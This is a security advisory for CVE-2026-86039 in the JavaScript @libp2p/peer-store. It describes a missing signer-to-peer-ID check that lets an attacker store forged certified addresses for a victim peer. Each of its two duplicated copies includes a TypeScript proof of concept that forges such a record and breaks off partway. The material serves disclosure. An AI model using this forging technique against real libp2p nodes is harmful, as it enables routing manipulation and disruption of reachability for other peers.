CVE-2026-86039

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

• RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
• const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
• The optional expectedPeer check only compares expectedPeer to the envelope signer.
• const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
• this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim…

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

• RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
• const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
• The optional expectedPeer check only compares expectedPeer to the envelope signer.
• const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
• this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim…